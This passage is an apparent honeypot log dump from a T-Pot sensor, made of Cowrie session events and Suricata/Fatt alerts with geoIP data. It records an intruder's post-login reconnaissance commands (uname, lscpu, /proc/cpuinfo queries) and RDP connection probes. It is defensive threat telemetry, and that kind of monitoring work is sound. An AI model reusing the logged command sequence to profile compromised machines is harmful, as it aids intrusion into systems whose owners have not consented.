28764	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:25.2347+03	2021-09-20 14:30:03.260551+03	{"_id": "8gbvAnwBvYTbRNuEjDDj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:25.234700Z", "@timestamp": "2021-09-20T11:20:25.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28766	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:20:26.726084+03	2021-09-20 14:30:03.263553+03	{"_id": "-wbvAnwBvYTbRNuEkjB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:26.651492+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1468668067901668, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 35036, "dest_port": 3389, "timestamp": "2021-09-20T11:20:26.726084Z", "@timestamp": "2021-09-20T11:20:26.726Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28767	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:20:26.908401+03	2021-09-20 14:30:03.264553+03	{"_id": "_AbvAnwBvYTbRNuEkjB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:26.651492+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1468668067901668, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 35036, "dest_port": 3389, "timestamp": "2021-09-20T11:20:26.908401Z", "@timestamp": "2021-09-20T11:20:26.908Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28768	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:26.835271+03	2021-09-20 14:30:03.265555+03	{"_id": "_wbvAnwBvYTbRNuEkjC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:26.651492+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 1468668067901668, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 35036, "timestamp": "2021-09-20T11:20:26.835271Z", "@timestamp": "2021-09-20T11:20:26.835Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28769	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:20:26.726084+03	2021-09-20 14:30:03.266554+03	{"_id": "_gbvAnwBvYTbRNuEkjC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:26.651492+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1468668067901668, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 35036, "dest_port": 3389, "timestamp": "2021-09-20T11:20:26.726084Z", "@timestamp": "2021-09-20T11:20:26.726Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28770	87.251.67.120	109.199.241.180	Fatt	2021-09-20 14:20:26.726084+03	2021-09-20 14:30:03.268554+03	{"_id": "AAbvAnwBvYTbRNuEkzG-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 35036, "dest_port": 3389, "timestamp": "2021-09-20T11:20:26.726084", "@timestamp": "2021-09-20T11:20:26.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28771	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:27.59105+03	2021-09-20 14:30:03.270525+03	{"_id": "AgbvAnwBvYTbRNuElDG0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:27.591050Z", "@timestamp": "2021-09-20T11:20:27.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28772	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:28.530349+03	2021-09-20 14:30:03.271529+03	{"_id": "BQbvAnwBvYTbRNuEmDGd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:28.530349Z", "@timestamp": "2021-09-20T11:20:28.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28773	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:28.530883+03	2021-09-20 14:30:03.272553+03	{"_id": "BgbvAnwBvYTbRNuEmDGd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:28.530883Z", "@timestamp": "2021-09-20T11:20:28.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28774	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:24.263964+03	2021-09-20 14:30:03.273553+03	{"_id": "7AbvAnwBvYTbRNuEiDD5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:24.263964Z", "@timestamp": "2021-09-20T11:20:24.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28775	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:25.78612+03	2021-09-20 14:30:03.274556+03	{"_id": "8QbvAnwBvYTbRNuEjDDj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "117.22.230.94", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5520386695861816, "duplicate": true, "timestamp": "2021-09-20T11:20:25.786120Z", "@timestamp": "2021-09-20T11:20:25.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28776	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:26.1774+03	2021-09-20 14:30:03.275553+03	{"_id": "-QbvAnwBvYTbRNuEkDDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:26.177400Z", "@timestamp": "2021-09-20T11:20:26.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28777	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:20:26.908401+03	2021-09-20 14:30:03.277554+03	{"_id": "-gbvAnwBvYTbRNuEkjB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:26.651492+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1468668067901668, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 35036, "dest_port": 3389, "timestamp": "2021-09-20T11:20:26.908401Z", "@timestamp": "2021-09-20T11:20:26.908Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28778	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:27.591585+03	2021-09-20 14:30:03.279554+03	{"_id": "AwbvAnwBvYTbRNuElDG0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:27.591585Z", "@timestamp": "2021-09-20T11:20:27.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28779	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:14.259183+03	2021-09-20 14:30:03.280524+03	{"_id": "vgbvAnwBvYTbRNuEYTDj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "117.22.230.94", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5515122413635254, "duplicate": true, "timestamp": "2021-09-20T11:20:14.259183Z", "@timestamp": "2021-09-20T11:20:14.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28780	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:15.231112+03	2021-09-20 14:30:03.282523+03	{"_id": "wwbvAnwBvYTbRNuEZTDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "117.22.230.94", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5524818897247314, "duplicate": true, "timestamp": "2021-09-20T11:20:15.231112Z", "@timestamp": "2021-09-20T11:20:15.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28781	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:17.550553+03	2021-09-20 14:30:03.283523+03	{"_id": "yQbvAnwBvYTbRNuEbTCd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:17.550553Z", "@timestamp": "2021-09-20T11:20:17.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28782	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:18.596951+03	2021-09-20 14:30:03.284524+03	{"_id": "zwbvAnwBvYTbRNuEcTCE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "117.22.230.94", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 1 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 1.046480655670166, "duplicate": true, "timestamp": "2021-09-20T11:20:18.596951Z", "@timestamp": "2021-09-20T11:20:18.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28783	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:15.652493+03	2021-09-20 14:30:03.285524+03	{"_id": "xAbvAnwBvYTbRNuEZTDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:15.652493Z", "@timestamp": "2021-09-20T11:20:15.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28784	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:20:15.654718+03	2021-09-20 14:30:03.287523+03	{"_id": "xQbvAnwBvYTbRNuEZTDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1df13759ff59", "@version": "1", "duration": 2.42812180519104, "timestamp": "2021-09-20T11:20:15.654718Z", "@timestamp": "2021-09-20T11:20:15.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28785	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:17.189864+03	2021-09-20 14:30:03.288523+03	{"_id": "yAbvAnwBvYTbRNuEbTCc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "117.22.230.94", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 1 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 1.538011074066162, "duplicate": true, "timestamp": "2021-09-20T11:20:17.189864Z", "@timestamp": "2021-09-20T11:20:17.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28786	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:17.551105+03	2021-09-20 14:30:03.289523+03	{"_id": "ygbvAnwBvYTbRNuEbTCd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 